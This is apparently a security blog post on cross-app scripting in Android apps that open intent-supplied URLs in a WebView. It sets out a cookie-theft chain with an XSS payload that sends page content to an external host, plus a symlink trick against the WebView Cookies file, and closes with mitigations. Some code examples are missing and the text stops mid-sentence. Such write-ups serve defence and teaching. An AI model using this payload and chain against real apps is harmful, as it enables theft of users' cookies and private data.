Cross-app Scripting in Android apps10 May 2021 | #tech | #security
If an Android app accepts Intents to open a URL in a WebView, then a malicious app installed on the same device might open a
On Android, intents are a way for an app to ask another app to do something. There are explicit intents that specify the exact class to be run (“hey, open this place in Google Maps”) or implicit intents that only say what they want to get done and not by whom (“hey, take a photo with any app” or “open this URL in any browser”). If multiple apps offer to handle the implicit intent, Android will ask the user which app they want to use.
Intents are usually defined in the Manifest, e.g.:
<intent-filter> <data android:scheme="http" /> <data android:scheme="https" /> <data android:host="example.com" /> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> </intent-filter>
One can also try to find them by looking for where they are invoked by searching for e.g.
"new Intent" or
"import android.content.Intent;", e.g.:
final Intent switchToExternalIntent = new Intent(this, ExternalActivity.class) .putExtra("url", url) .putExtra("shareUrl", shareUrl) .putExtra("shareMessage", shareMessage) startActivityForResult(switchToExternalIntent, RequestCodes.EXTERNAL_ACTIVITY_RESULT_CODE);
final Intent shareIntent = new Intent(Intent.ACTION_SEND); shareIntent.setType("text/plain"); shareIntent.putExtra(Intent.EXTRA_TEXT, url); context.startActivity(shareIntent);
Calling an intent
With adb one can call Intents directly, e.g.:
The parameters are:
com.example.myapp- is the application id of the app
com.example.myapp.MainActivity- the package and class name to be called (e.g. the activity’s code might look like:
"package com.example.myapp; .... public class MainActivity")
android.intent.action.VIEWis the action defined in the manifest like
<action android:name="android.intent.action.VIEW" />(sometimes it works without specifying this)
-dsets the data
adb is ideal for testing, however let’s not forget that a real-life malicious app would send the same Intent from Java like this:
In addition to the main data of an Intent, extra parameters can be passed either via the
putExtra() Java call or with the
--eX flags of
abd depending on the type of the data:
Same in Java:
Intents can contain an EXTRA_REFERRER field, and it seems reasonable to check that to ensure only trusted apps can send requests to our app, however this parameter can be easily spoofed by a malicious app (as shown above).
Impact: I have all your cookies
A WebView uses it’s own set of cookies that are stored in the
/data/data/package_name/app_webview/Cookies SQLite file. As this is in the app’s own folder, it is only accessible by the app itself.
The attack works like this:
- The malicious app opens a malicios site within the victim app’s WebView
- This site creates a cookie for it’s own domain and sets the cookie value to an XSS payload, e.g.
<img src=x onerror='this.src = "https://example.com/?" + encodeURIComponent(document.getElementsByTagName("html").innerHTML)'>(this takes the entire page and sends it to an external site)
- This cookie gets stored in
/data/data/package_name/app_webview/Cookiesalong with all the other cookies (this might take a few seconds, so the malicious app might need to wait up to 20-30 seconds)
- The malicious app creates a symlink to this file, e.g.
ln -s /data/data/package_name/app_webview/Cookies /tmp/symlink.html(even though the malicous app can’t access the cookies file directly, it can make the symlink)
- The malicious app opens
file:///tmp/symlink.htmlin the WebView. Since the Cookies file is owned by the app, it can access it.
- Since the file extension is html, the WebView will look for any HTML code and interpret it as such. The file is an SQLite database file, so it has a lot of non-ASCII bytes, however the cookie values appear in clear text, thus the HTML code injected in step 2 runs.
The mobile security concept is very different from the desktop: on desktop if a user runs a malicious app, that’s (almost) game over (e.g. they can usually start a keylogger, steal the browser’s cookie jars etc.). On mobile however it is expected that apps and user data is protected even against a malicious app (e.g. see the fine-tuned permission system). To exploit an intent-based issue, the attacker needs to convince the user to install the attacker’s app on their phone, which does reduce the risk, however because of the expectation of apps being separated, we generally still need to consider (and fix) these issues.
Solution 1: disable calling intents from other apps
This is the first recommendation by Google too:
Find any Activities with affected WebViews. If these Activities do not need to take Intents from other apps you can set android:exported=false for the Activities in your Manifest. This ensures that malicious apps cannot send harmful inputs to any WebViews in these activities.
However sometimes this is not an option, e.g. some apps send push notifications to the user, and uppon clicking on those, they send an Intent to the app asking it to open a specific page in the app’s WebView showing e.g. a promotion.
Solution 2: only open trusted links
Have an allowlist of domains and check that the URL from the Intent starts with the entire domain, e.g.
https://example.com/. The trailing
/ is important, otherwise
https://example.com.attacker.com would be accepted.
Accepting any subdomains
If all subdomains of a trusted domain need to be accepted, it’s tempting to parse the URL and then ensure that the hostname ends with
. is important, otherwise
attackerexample.com would be accepted). However make sure to check the protocol too, otherwise this might get accepted: